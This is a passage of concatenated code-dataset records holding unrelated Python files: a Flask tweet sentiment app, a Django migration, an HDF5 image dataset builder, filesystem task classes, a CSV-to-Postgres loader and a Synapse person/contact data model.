RT)\r\n cleaned_text = clean_tweets(input_text.lower())\r\n cleaned_text = cleaned_text.replace(' +',' ').replace(r'[^A-Za-z]+',' ')\r\n cleaned_text = lemmatize_sentences(cleaned_text)\r\n return cleaned_text\r\n \r\ndef sentiment_analysis_using_vader_algorithm(search_tweet):\r\n neg_polarity = 0\r\n pos_polarity = 0\r\n \r\n data = pd.read_csv(\"C:/Users/ilom24099/Downloads/Reference_Data_Replies.csv\")\r\n \r\n #Converting every word to lowercase and removing twitter specific terms (@, #, RT)\r\n data['Clean_Tweets'] = data['Tweets'].apply(lambda x: data_cleaning_and_preparation(x.lower()))\r\n \r\n# analyzer = SentimentIntensityAnalyzer()\r\n# VADER_sentiment = data['Clean_Tweets'].apply(lambda x : analyzer.polarity_scores(x))\r\n# \r\n# data_VADER=pd.concat([data,VADER_sentiment.apply(pd.Series)],1)\r\n# \r\n# # creading a new column to transform sentiment score to Negative/Positive\r\n# data_VADER.loc[data_VADER['compound'] > 0, 'VADER_predicted_sentiments'] = \"Positive\"\r\n# data_VADER.loc[data_VADER['compound'] <= 0, 'VADER_predicted_sentiments'] = \"Negative\"\r\n# \r\n# for results in data_VADER['VADER_predicted_sentiments']:\r\n# if (results == 'Negative'): neg_polarity =neg_polarity+1\r\n# if (results == 'Positive'): pos_polarity =pos_polarity+1\r\n# \r\n# neg_polarity = neg_polarity/len(data)*100\r\n# pos_polarity = pos_polarity/len(data)*100\r\n \r\n return neg_polarity, pos_polarity\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route(\"/search\",methods=[\"POST\"])\r\ndef search():\r\n print(\"Request pushed\")\r\n \r\n search_tweet = request.form.get(\"search_query\")\r\n print(search_tweet)\r\n neg_polarity, pos_polarity = sentiment_analysis_using_vader_algorithm(search_tweet)\r\n \r\n t = []\r\n tweets = api.search(search_tweet, tweet_mode='extended')\r\n for tweet in tweets:\r\n polarity = TextBlob(tweet.full_text).sentiment.polarity\r\n subjectivity = TextBlob(tweet.full_text).sentiment.subjectivity\r\n t.append([tweet.full_text,polarity,subjectivity])\r\n \r\n# sample = [[search_tweet,-1,0.4],[search_tweet,1,0.6]]\r\n return jsonify({\"success\":True,\"tweets\":t})\r\n\r\napp.run()","sub_path":"Sentiment_Analysis/main_Jayanti.py","file_name":"main_Jayanti.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"601883332","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Friendship',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ],\n ),\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('phone', models.CharField(max_length=10)),\n ('friends', models.ManyToManyField(to='basic.UserProfile', through='basic.Friendship')),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.AddField(\n model_name='friendship',\n name='friend',\n field=models.ForeignKey(related_name='friend', to='basic.UserProfile'),\n ),\n migrations.AddField(\n model_name='friendship',\n name='person',\n field=models.ForeignKey(to='basic.UserProfile'),\n ),\n ]\n","sub_path":"basic/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"423128804","text":"from config import config\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom arnold.preprocessing import SimplePreprocessor\nfrom arnold.io import HDF5DatasetWriter\nfrom imutils import paths\nimport numpy as np \nimport progressbar\nimport json\nimport cv2\nimport os\n\n# grab the paths to the images: train images, validation images, and test images.\ntrainTuples = [ (row.strip().split(\"\\t\")[-1], row.strip().split(\"\\t\")[-2])\n\t\t\t\t for row in open(config.TRAIN_HDF5_LIST)]\n#trainPaths, trainLabels = zip(*trainTuples)\n\nvalTuples = [ (row.strip().split(\"\\t\")[-1], row.strip().split(\"\\t\")[-2])\n\t\t\t\t for row in open(config.VAL_HDF5_LIST)]\n#valPaths, valLabels = zip(*valTuples)\n\ntestTuples = [ (row.strip().split(\"\\t\")[-1], row.strip().split(\"\\t\")[-2])\n\t\t\t\t for row in open(config.TEST_HDF5_LIST)]\n#testPaths, testLabels = zip(*testTuples)\n\n\n# convenience variable for looping over all image sets.\n\"\"\"\ndatasets = [\n\t\t(\"train\", trainPaths, trainlabels, config.TRAIN_HDF5_REC),\n\t\t(\"val\", valPaths, valLabels, config.VAL_HDF5_REC),\n\t\t(\"test\", testPaths, testLabels, config.TEST_HDF5_REC)]\n\"\"\"\n\ndatasets = [\n\t\t(\"train\", trainTuples, config.TRAIN_HDF5_REC),\n\t\t(\"val\", valTuples, config.VAL_HDF5_REC),\n\t\t(\"test\", testTuples, config.TEST_HDF5_REC)]\n\n# we need a simple preprocessor to resize the image to 256X256 pixels\nsp = SimplePreprocessor(256, 256)\n#prepare the mean for after resizing\n(R, G, B) = ([], [], [])\n\nfor dType, paths_and_labels, outputPath in datasets:\n\t#Create HDF5 writer\n\tprint(\"[INFO] building {}...\".format(outputPath))\n\twriter = HDF5DatasetWriter((len(paths_and_labels), 256, 256, 3), outputPath)\n\n\t# initialize the progress bar\n\twidgets = [\"Building Dataset: \", progressbar.Percentage(), \" \", \n\t\t\tprogressbar.Bar(), \" \", progressbar.ETA()]\n\n\tpbar = progressbar.ProgressBar(maxval=len(paths_and_labels),\n\t\twidgets=widgets).start()\n\n\tfor (i, (path, label)) in enumerate(paths_and_labels):\n\t\timage = cv2.imread(path)\n\t\timage = sp.preprocess(image)\n\n\t\tif dType == \"train\":\n\t\t\t(b, g, r) = cv2.mean(image)[:3]\n\t\t\tR.append(r)\n\t\t\tG.append(g)\n\t\t\tB.append(b)\n\t\t#\n\t\t# label is previancily a string change into \n\t\tlabel = int(label)\n\t\twriter.add([image],[label])\n\t\tpbar.update(i)\n\n\t#close the HDF5 writer\n\tpbar.finish()\n\twriter.close()\n\nprint(\"[INFO] serializing means...\")\nD = {\"R\": np.mean(R), \"G\": np.mean(G), \"B\": np.mean(B)}\nf = open(config.DATASET_MEAN_AFTER_RESIZE,\"w\")\nf.write(json.dumps(D))\nf.close()\n","sub_path":"build_dataset_hdf5.py","file_name":"build_dataset_hdf5.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"219370599","text":"from ShotRunnerTool.GeneratorEmitter import GeneratorEmitter\nfrom ShotRunnerTool.StringSignal import StringSignal\n\n\nclass LogWindowController(object):\n def __init__(self, runner, logWindow):\n self.runner = runner\n self.logWindow = logWindow\n self.signal = StringSignal()\n self.signal.get().connect(self.logWindow.appendMessage)\n self.outputEmitter = None\n self.errorEmitter = None\n\n def runAsync(self):\n if not self.runner.isRunning():\n self.runner.executeAsync()\n\n self.outputEmitter = GeneratorEmitter(self.runner.outputStream(), self.signal.get())\n self.errorEmitter = GeneratorEmitter(self.runner.errorStream(), self.signal.get())\n self.outputEmitter.start()\n self.errorEmitter.start()\n\n def run(self):\n if not self.runner.isRunning():\n self.runner.executeAsync()\n\n self.outputEmitter = GeneratorEmitter(self.runner.outputStream(), self.signal.get())\n self.errorEmitter = GeneratorEmitter(self.runner.errorStream(), self.signal.get())\n self.outputEmitter.run()\n self.errorEmitter.run()\n\n def join(self):\n output, error = self.runner.join()\n if output:\n self.signal.get().emit(output)\n if error:\n self.signal.get().emit(error)\n self.outputEmitter.wait()\n self.errorEmitter.wait()\n","sub_path":"ShotRunnerTool/LogWindowController.py","file_name":"LogWindowController.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"80496337","text":"# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nfrom paddle.fluid.layer_helper import LayerHelper\nfrom paddle.fluid.framework import in_dygraph_mode\nfrom paddle.fluid import core\n\n\ndef softmax_mask_fuse(x, mask, name=None):\n if in_dygraph_mode():\n out = core.ops.fused_softmax_mask(x, mask)\n return out\n helper = LayerHelper('fused_softmax_mask', **locals())\n out = helper.create_variable_for_type_inference(dtype=x.dtype)\n helper.append_op(\n type='fused_softmax_mask',\n inputs={'X': [x],\n 'Mask': [mask]},\n outputs={'Out': [out]})\n return out\n","sub_path":"python/paddle/incubate/operators/softmax_mask_fuse.py","file_name":"softmax_mask_fuse.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"643636025","text":"\"\"\"\nThis module contains a number of tasks relating to filesystem operations, including those commonly used on the\ncommand-line.\n\"\"\"\n\nimport os\nimport glob\nimport shutil\nimport re\nimport pathlib\nimport ozawa\n\n\ndef path(string, trail=False):\n os_path = str(pathlib.PurePath(string))\n if trail:\n return os_path + os.sep\n return os_path\n\n\nclass Touch(ozawa.Task):\n \"\"\"\n This task is intended to behave like the unix command ``touch``.\n\n Args:\n files (list): List of file names to touch.\n \"\"\"\n def __init__(self, files, **kwargs):\n super().__init__(**kwargs)\n self.files = files\n\n def _touch_file(self, file):\n dir_name = os.path.dirname(file)\n if dir_name != '':\n os.makedirs(dir_name, exist_ok=True)\n pathlib.Path(file).touch(exist_ok=True)\n self.logger.debug(file)\n\n def _touch_files(self):\n for file in self.files:\n self._touch_file(path(file))\n\n def execute(self):\n self.logger.info(f'Touching {len(self.files)} file{\"\" if len(self.files) == 1 else \"s\"}.')\n self._touch_files()\n\n\nclass MakeDirectories(ozawa.Task):\n \"\"\"\n This task creates directories on the filesystem, including any parent directories if they do not already exist. This\n task is intended to behave like the unix ``mkdir -p`` command.\n\n Args:\n directories (list): List of directory names to create.\n \"\"\"\n def __init__(self, directories, **kwargs):\n super().__init__(**kwargs)\n self.directories = directories\n\n def _make_directory(self, directory):\n os.makedirs(directory, exist_ok=True)\n self.logger.debug(directory)\n\n def _make_directories(self):\n for directory in self.directories:\n self._make_directory(path(directory))\n\n def execute(self):\n self.logger.info(f'Making {len(self.directories)} director{\"y\" if len(self.directories) == 1 else \"ies\"}'\n + ' (plus any parent directories).')\n self._make_directories()\n\n\nclass Copy(ozawa.Task):\n \"\"\"\n This task is intended to behave like the unix command ``cp -r`` does. If a source search glob matches only one file,\n that will be copied directly to the destination. If multiple files match then the directory structure common to all\n the files is copied to the destination.\n\n .. note:: This task differs from ``cp`` in that it won't take a file name as a destination.\n\n Args:\n source_glob (str): A unix style search glob pattern.\n destination (str): The path to a destination directory.\n \"\"\"\n def __init__(self, source_glob, destination, **kwargs):\n super().__init__(**kwargs)\n self.source_glob = path(source_glob)\n self.glob_results = []\n self.destination = destination\n\n def _glob_common_directory(self):\n try:\n return re.match(r'\\A[/\\\\]?[^*]*[/\\\\]', self.source_glob)[0]\n except TypeError:\n return ''\n\n def _file_destination(self, file, flatten=False):\n if flatten:\n return os.path.join(self.destination, os.path.basename(file))\n relative_path = file.replace(self._glob_common_directory(), '', 1)\n return os.path.join(self.destination, relative_path)\n\n def _copy_file(self, file, flatten=False):\n dest = self._file_destination(file, flatten=flatten)\n os.makedirs(os.path.dirname(dest), exist_ok=True)\n result = shutil.copy2(file, dest)\n self.logger.debug(f'{file} > {path(result)}')\n\n def _copy_directory(self, source_directory):\n for item in os.listdir(source_directory):\n item = os.path.join(source_directory, item)\n if os.path.isdir(item):\n self._copy_directory(item)\n else:\n self._copy_file(path(item))\n\n def _copy_glob_results(self, results):\n for item in results:\n if os.path.isdir(item):\n self._copy_directory(item)\n else:\n self._copy_file(item, flatten=len(results) == 1)\n\n def execute(self):\n self.logger.info(f'Copying \"{self.source_glob}\" to \"{self.destination}\"')\n self.glob_results = glob.glob(self.source_glob, recursive=True)\n if len(self.glob_results) == 0:\n self.raise_failure(f'No files match source glob \"{self.source_glob}\".')\n try:\n self._copy_glob_results(self.glob_results)\n except FileExistsError as e:\n self.raise_failure(f'File or directory \"{e.filename}\" already exists.', cause=e)\n\n\nclass ArchiveDirectory(ozawa.Task):\n \"\"\"\n This task will archive a directory using a specified format eg. zip or gztar.\n\n Args:\n directory (str): The directory to archive.\n output_file(str): The name (and location) of the output archive file.\n\n Keyword Args:\n format (str): The archive format to use. See the :obj:`~ozawa.tasks.filesystem.ArchiveDirectory.FORMATS` list\n for the available options.\n \"\"\"\n\n #: A list of valid archive formats.\n FORMATS = [f[0] for f in shutil.get_archive_formats()]\n\n\n def __init__(self, directory, output_file, format='zip', **kwargs):\n super().__init__(**kwargs)\n self.directory = path(directory)\n self.output_file = path(output_file)\n if format not in self.FORMATS:\n raise AttributeError(f'Archive format \"{format}\" not supported: {self.FORMATS}')\n self.format = format\n\n def _archive_directory(self):\n shutil.make_archive(self.output_file, self.format, root_dir=self.directory, logger=self.logger)\n\n def execute(self):\n self.logger.info(f'Archiving directory \"{self.directory}\" to \"{self.output_file}\".')\n try:\n self._archive_directory()\n except FileNotFoundError as e:\n self.raise_failure(f'Directory \"{self.directory} not found.', cause=e)\n except NotADirectoryError as e:\n self.raise_failure(f'Target \"{self.directory}\" not a directory.', cause=e)\n\n\nclass UnpackArchive(ozawa.Task):\n \"\"\"\n This task will unpack an archive file to a specified directory.\n\n Args:\n archive_file (str): The archive to unpack. See the :obj:`~ozawa.tasks.filesystem.UnpackArchive.VALID_EXTENSIONS`\n list for the available options.\n extract_directory (str): The directory to unpack the archive to.\n \"\"\"\n\n #: Valid archive file extensions.\n VALID_EXTENSIONS = [ext for ext_list in shutil.get_unpack_formats() for ext in ext_list[1]]\n\n def __init__(self, archive_file, extract_directory, **kwargs):\n super().__init__(**kwargs)\n self.archive = path(archive_file)\n self.extract_dir = path(extract_directory)\n\n def _unpack_archive(self):\n shutil.unpack_archive(self.archive, self.extract_dir)\n\n def execute(self):\n self.logger.info(f'Unpacking archive \"{self.archive}\" to directory \"{self.extract_dir}\".')\n try:\n self._unpack_archive()\n except shutil.ReadError as e:\n self.raise_failure(f'Invalid archive \"{self.archive}\".', cause=e)\n\n\nclass SearchReplace(ozawa.Task):\n \"\"\"\n This task replaces regex matches in a file with a replacement string.\n\n .. warning:: Currently, this does not support multi-line regex matching and so may behave unexpectedly in this\n situation.\n\n Args:\n file (str): The text file to search through.\n regex (str): A regex pattern to replace matches of.\n replacement(str): The string to replace the regex matches with.\n\n Keyword Args:\n temp_extension (str): The extension to use for the temporary file that this task writes to while performing\n the search/replacement.\n \"\"\"\n def __init__(self, file, regex, replacement, temp_extension='.ozawa.tmp', **kwargs):\n super().__init__(**kwargs)\n self.filename = path(file)\n self.regex = re.compile(regex)\n self.replacement = replacement\n self.temp_extension = temp_extension\n self._replacements = 0\n\n def _original_file(self):\n try:\n return open(self.filename, 'r')\n except FileNotFoundError as e:\n self.raise_failure(f'File \"{self.filename}\" not found.', cause=e)\n\n @property\n def temp_filename(self):\n return f'{self.filename}{self.temp_extension}'\n\n def _temp_file(self, rw='w'):\n try:\n return open(self.temp_filename, rw)\n except Exception as e:\n self.raise_failure(f'Failed to open temporary file \"{self.temp_filename}\".', cause=e)\n\n def _replace_line(self, line):\n try:\n matches = re.findall(self.regex, line)\n for match in matches:\n self._replacements += 1\n line = line.replace(match, self.replacement, 1)\n return line\n except TypeError:\n return line\n\n def _delete_original(self):\n if os.path.isfile(self.filename):\n os.remove(self.filename)\n\n def _rename_replacement(self):\n self._delete_original()\n os.rename(self.temp_filename, self.filename)\n\n def _search_replace(self):\n with self._original_file() as original, self._temp_file() as temp:\n for line in original.readlines():\n temp.write(self._replace_line(line))\n\n def execute(self):\n self.logger.info(f'{self.filename}: {repr(self.regex.pattern)} > {repr(self.replacement)}.')\n self._replacements = 0\n self._search_replace()\n self._rename_replacement()\n self.logger.info(f'Replaced {self._replacements} instance{\"\" if self._replacements == 1 else \"s\"} of regex.')\n","sub_path":"ozawa/tasks/filesystem.py","file_name":"filesystem.py","file_ext":"py","file_size_in_byte":9660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"17932500","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, String, Integer\nfrom sqlalchemy.orm import sessionmaker\nimport sys\nimport csv\nimport os\nimport pathlib\nfrom os.path import join, isfile\n\nroot = sys.argv[1]\nobstacle_path = root + '/CSV/'\n\ndb_config = {'user': 'postgres', 'password': 'postgres',\n 'netloc': 'localhost', 'port': '5432', 'dbname': 'aerodrome'}\n\ndef GenerateUri(db_config: map):\n return 'postgresql+psycopg2://' + db_config['user'] + ':' + db_config['password'] + '@' + db_config['netloc'] + ':' + db_config['port'] + '/' + db_config['dbname']\n\ndb = create_engine(GenerateUri(db_config))\nbase = declarative_base()\n\n\nclass Obstacles(base):\n __tablename__ = 'obstacles'\n obs_id = Column(Integer, primary_key=True)\n icao = Column(String)\n affected = Column(String)\n obs_type = Column(String)\n latitude = Column(String)\n longitude = Column(String)\n elevation = Column(String)\n marking = Column(String)\n remark = Column(String)\n\n def __init__(self, icao, row: list):\n self.icao = icao\n self.affected = row[0]\n self.obs_type = row[1]\n self.latitude = row[2]\n self.longitude = row[3]\n self.elevation = row[4]\n self.marking = row[5]\n self.remark = row[6]\n\n\nSession = sessionmaker(db)\nsession = Session()\n\nbase.metadata.create_all(db)\n\n\ndef CSVToDB(icao, csv_path):\n csvReader = csv.reader(open(csv_path), delimiter=',')\n next(csvReader)\n for row in csvReader:\n print(type(row), len(row), csv_path)\n element = Obstacles(icao, row)\n session.add(element)\n\n\ndef main():\n session.query(Obstacles).delete()\n session.commit()\n files = [f for f in os.listdir(\n obstacle_path) if os.path.isfile(join(obstacle_path, f))]\n for obstacle_file in files:\n icao: str = pathlib.Path(obstacle_file).stem\n obstacle_file = obstacle_path + '/' + obstacle_file\n CSVToDB(icao, obstacle_file)\n session.commit()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"App/obstaclecsvtodb.py","file_name":"obstaclecsvtodb.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"257104496","text":"import synapse.lib.module as s_module\n\nclass PsModule(s_module.CoreModule):\n def getModelDefs(self):\n modl = {\n 'types': (\n ('edu:course', ('guid', {}), {\n 'doc': 'A course of study taught by an org.',\n }),\n ('edu:class', ('guid', {}), {\n 'doc': 'An instance of an edu:course taught at a given time.',\n }),\n ('ps:education', ('guid', {}), {\n 'doc': 'A period of education for an individual.',\n }),\n ('ps:achievement', ('guid', {}), {\n 'doc': 'An instance of an individual receiving an award.',\n }),\n ('ps:tokn', ('str', {'lower': True, 'strip': True}), {\n 'doc': 'A single name element (potentially given or sur).',\n 'ex': 'robert'\n }),\n ('ps:name', ('str', {'lower': True, 'onespace': True}), {\n 'doc': 'An arbitrary, lower spaced string with normalized whitespace.',\n 'ex': 'robert grey'\n }),\n ('ps:person', ('guid', {}), {\n 'doc': 'A GUID for a person.',\n }),\n ('ps:persona', ('guid', {}), {\n 'deprecated': True,\n 'doc': 'A GUID for a suspected person.',\n }),\n ('ps:person:has', ('comp', {'fields': (('person', 'ps:person'), ('node', 'ndef'))}), {\n 'deprecated': True,\n 'doc': 'A person owns, controls, or has exclusive use of an object or'\n ' resource, potentially during a specific period of time.'\n }),\n ('ps:persona:has', ('comp', {'fields': (('persona', 'ps:persona'), ('node', 'ndef'))}), {\n 'deprecated': True,\n 'doc': 'A persona owns, controls, or has exclusive use of an object or'\n ' resource, potentially during a specific period of time.'\n }),\n ('ps:contact', ('guid', {}), {\n 'doc': 'A GUID for a contact info record.',\n }),\n ('ps:contact:type:taxonomy', ('taxonomy', {}), {\n 'interfaces': ('taxonomy',),\n 'doc': 'A taxonomy of contact types.',\n }),\n ('ps:contactlist', ('guid', {}), {\n 'doc': 'A GUID for a list of associated contacts.',\n }),\n ('ps:workhist', ('guid', {}), {\n 'doc': \"A GUID representing entry in a contact's work history.\",\n }),\n ('ps:vitals', ('guid', {}), {\n 'doc': 'Statistics and demographic data about a person or contact.',\n }),\n ('ps:skill', ('guid', {}), {\n 'doc': 'A specific skill which a person or organization may have.'\n }),\n ('ps:skill:type:taxonomy', ('taxonomy', {}), {\n 'interfaces': ('taxonomy',),\n 'doc': 'A taxonomy of skill types.',\n }),\n ('ps:proficiency', ('guid', {}), {\n 'doc': 'The assessment that a given contact possesses a specific skill.'\n }),\n ),\n 'forms': (\n ('ps:workhist', {}, (\n ('contact', ('ps:contact', {}), {\n 'doc': 'The contact which has the work history.',\n }),\n ('org', ('ou:org', {}), {\n 'doc': 'The org that this work history orgname refers to.',\n }),\n ('orgname', ('ou:name', {}), {\n 'doc': 'The reported name of the org the contact worked for.',\n }),\n ('orgfqdn', ('inet:fqdn', {}), {\n 'doc': 'The reported fqdn of the org the contact worked for.',\n }),\n ('jobtype', ('ou:jobtype', {}), {\n 'doc': 'The type of job.',\n }),\n ('employment', ('ou:employment', {}), {\n 'doc': 'The type of employment.',\n }),\n ('jobtitle', ('ou:jobtitle', {}), {\n 'doc': 'The job title.',\n }),\n ('started', ('time', {}), {\n 'doc': 'The date that the contact began working.',\n }),\n ('ended', ('time', {}), {\n 'doc': 'The date that the contact stopped working.',\n }),\n ('duration', ('duration', {}), {\n 'doc': 'The duration of the period of work.',\n }),\n ('pay', ('econ:price', {}), {\n 'doc': 'The estimated/average yearly pay for the work.',\n }),\n ('currency', ('econ:currency', {}), {\n 'doc': 'The currency that the yearly pay was delivered in.',\n }),\n )),\n ('edu:course', {}, (\n ('name', ('str', {'lower': True, 'onespace': True}), {\n 'ex': 'organic chemistry for beginners',\n 'doc': 'The name of the course.',\n }),\n ('desc', ('str', {}), {\n 'doc': 'A brief course description.',\n }),\n ('code', ('str', {'lower': True, 'strip': True}), {\n 'ex': 'chem101',\n 'doc': 'The course catalog number or designator.',\n }),\n ('institution', ('ps:contact', {}), {\n 'doc': 'The org or department which teaches the course.',\n }),\n ('prereqs', ('array', {'type': 'edu:course', 'uniq': True, 'sorted': True}), {\n 'doc': 'The pre-requisite courses for taking this course.',\n }),\n )),\n ('edu:class', {}, (\n ('course', ('edu:course', {}), {\n 'doc': 'The course being taught in the class.',\n }),\n ('instructor', ('ps:contact', {}), {\n 'doc': 'The primary instructor for the class.',\n }),\n ('assistants', ('array', {'type': 'ps:contact', 'uniq': True, 'sorted': True}), {\n 'doc': 'An array of assistant/co-instructor contacts.',\n }),\n ('date:first', ('time', {}), {\n 'doc': 'The date of the first day of class.'\n }),\n ('date:last', ('time', {}), {\n 'doc': 'The date of the last day of class.'\n }),\n ('isvirtual', ('bool', {}), {\n 'doc': 'Set if the class is known to be virtual.',\n }),\n ('virtual:url', ('inet:url', {}), {\n 'doc': 'The URL a student would use to attend the virtual class.',\n }),\n ('virtual:provider', ('ps:contact', {}), {\n 'doc': 'Contact info for the virtual infrastructure provider.',\n }),\n ('place', ('geo:place', {}), {\n 'doc': 'The place that the class is held.',\n }),\n )),\n ('ps:education', {}, (\n ('student', ('ps:contact', {}), {\n 'doc': 'The contact of the person being educated.',\n }),\n ('institution', ('ps:contact', {}), {\n 'doc': 'The contact info for the org providing educational services.',\n }),\n ('attended:first', ('time', {}), {\n 'doc': 'The first date the student attended a class.',\n }),\n ('attended:last', ('time', {}), {\n 'doc': 'The last date the student attended a class.',\n }),\n ('classes', ('array', {'type': 'edu:class', 'uniq': True, 'sorted': True}), {\n 'doc': 'The classes attended by the student',\n }),\n ('achievement', ('ps:achievement', {}), {\n 'doc': 'The achievement awarded to the individual.',\n }),\n )),\n ('ps:achievement', {}, (\n ('awardee', ('ps:contact', {}), {\n 'doc': 'The recipient of the award.',\n }),\n ('award', ('ou:award', {}), {\n 'doc': 'The award bestowed on the awardee.',\n }),\n ('awarded', ('time', {}), {\n 'doc': 'The date the award was granted to the awardee.',\n }),\n ('expires', ('time', {}), {\n 'doc': 'The date the award or certification expires.',\n }),\n ('revoked', ('time', {}), {\n 'doc': 'The date the award was revoked by the org.',\n }),\n )),\n ('ps:tokn', {}, ()),\n ('ps:name', {}, (\n ('sur', ('ps:tokn', {}), {\n 'doc': 'The surname part of the name.'\n }),\n ('middle', ('ps:tokn', {}), {\n 'doc': 'The middle name part of the name.'\n }),\n ('given', ('ps:tokn', {}), {\n 'doc': 'The given name part of the name.'\n }),\n )),\n ('ps:person', {}, (\n ('dob', ('time', {}), {\n 'doc': 'The date on which the person was born.',\n }),\n ('dod', ('time', {}), {\n 'doc': 'The date on which the person died.',\n }),\n ('img', ('file:bytes', {}), {\n 'deprecated': True,\n 'doc': 'Deprecated: use ps:person:photo.'\n }),\n ('photo', ('file:bytes', {}), {\n 'doc': 'The primary image of a person.'\n }),\n ('nick', ('inet:user', {}), {\n 'doc': 'A username commonly used by the person.',\n }),\n ('vitals', ('ps:vitals', {}), {\n 'doc': 'The most recent known vitals for the person.',\n }),\n ('name', ('ps:name', {}), {\n 'doc': 'The localized name for the person.',\n }),\n ('name:sur', ('ps:tokn', {}), {\n 'doc': 'The surname of the person.'\n }),\n ('name:middle', ('ps:tokn', {}), {\n 'doc': 'The middle name of the person.'\n }),\n ('name:given', ('ps:tokn', {}), {\n 'doc': 'The given name of the person.'\n }),\n ('names', ('array', {'type': 'ps:name', 'uniq': True, 'sorted': True}), {\n 'doc': 'Variations of the name for the person.'\n }),\n ('nicks', ('array', {'type': 'inet:user', 'uniq': True, 'sorted': True}), {\n 'doc': 'Usernames used by the person.'\n }),\n )),\n ('ps:persona', {}, (\n ('person', ('ps:person', {}), {\n 'doc': 'The real person behind the persona.',\n }),\n ('dob', ('time', {}), {\n 'doc': 'The Date of Birth (DOB) if known.',\n }),\n ('img', ('file:bytes', {}), {\n 'doc': 'The primary image of a suspected person.'\n }),\n ('nick', ('inet:user', {}), {\n 'doc': 'A username commonly used by the suspected person.',\n }),\n ('name', ('ps:name', {}), {\n 'doc': 'The localized name for the suspected person.',\n }),\n ('name:sur', ('ps:tokn', {}), {\n 'doc': 'The surname of the suspected person.'\n }),\n ('name:middle', ('ps:tokn', {}), {\n 'doc': 'The middle name of the suspected person.'\n }),\n ('name:given', ('ps:tokn', {}), {\n 'doc': 'The given name of the suspected person.'\n }),\n ('names', ('array', {'type': 'ps:name', 'uniq': True, 'sorted': True}), {\n 'doc': 'Variations of the name for a persona.'\n }),\n ('nicks', ('array', {'type': 'inet:user', 'uniq': True, 'sorted': True}), {\n 'doc': 'Usernames used by the persona.'\n }),\n )),\n ('ps:person:has', {}, (\n ('person', ('ps:person', {}), {\n 'ro': True,\n 'doc': 'The person who owns or controls the object or resource.',\n }),\n ('node', ('ndef', {}), {\n 'ro': True,\n 'doc': 'The object or resource that is owned or controlled by the person.',\n }),\n ('node:form', ('str', {}), {\n 'ro': True,\n 'doc': 'The form of the object or resource that is owned or controlled by the person.',\n }),\n )),\n ('ps:persona:has', {}, (\n ('persona', ('ps:persona', {}), {\n 'ro': True,\n 'doc': 'The persona who owns or controls the object or resource.',\n }),\n ('node', ('ndef', {}), {\n 'ro': True,\n 'doc': 'The object or resource that is owned or controlled by the persona.',\n }),\n ('node:form', ('str', {}), {\n 'ro': True,\n 'doc': 'The form of the object or resource that is owned or controlled by the persona.',\n }),\n )),\n ('ps:contact:type:taxonomy', {}, ()),\n ('ps:contact', {}, (\n ('org', ('ou:org', {}), {\n 'doc': 'The org which this contact represents.',\n }),\n ('type', ('ps:contact:type:taxonomy', {}), {\n 'doc': 'The type of contact which may be used for entity resolution.',\n }),\n ('asof', ('time', {}), {\n 'date': 'The time this contact was created or modified.',\n }),\n ('person', ('ps:person', {}), {\n 'doc': 'The ps:person GUID which owns this contact.',\n }),\n ('vitals', ('ps:vitals', {}), {\n 'doc': 'The most recent known vitals for the contact.',\n }),\n ('name', ('ps:name', {}), {\n 'doc': 'The person name listed for the contact.',\n }),\n ('desc', ('str', {}), {\n 'doc': 'A description of this contact.',\n }),\n ('title', ('ou:jobtitle', {}), {\n 'doc': 'The job/org title listed for this contact.',\n }),\n ('photo', ('file:bytes', {}), {\n 'doc': 'The photo listed for this contact.',\n }),\n ('orgname', ('ou:name', {}), {\n 'doc': 'The listed org/company name for this contact.',\n }),\n ('orgfqdn', ('inet:fqdn', {}), {\n 'doc': 'The listed org/company FQDN for this contact.',\n }),\n ('user', ('inet:user', {}), {\n 'doc': 'The username or handle for this contact.',\n }),\n ('web:acct', ('inet:web:acct', {}), {\n 'doc': 'The social media account for this contact.',\n }),\n ('web:group', ('inet:web:group', {}), {\n 'doc': 'A web group representing this contact.',\n }),\n ('birth:place', ('geo:place', {}), {\n 'doc': 'A fully resolved place of birth for this contact.',\n }),\n ('birth:place:loc', ('loc', {}), {\n 'doc': 'The loc of the place of birth of this contact.',\n }),\n ('birth:place:name', ('geo:name', {}), {\n 'doc': 'The name of the place of birth of this contact.',\n }),\n ('death:place', ('geo:place', {}), {\n 'doc': 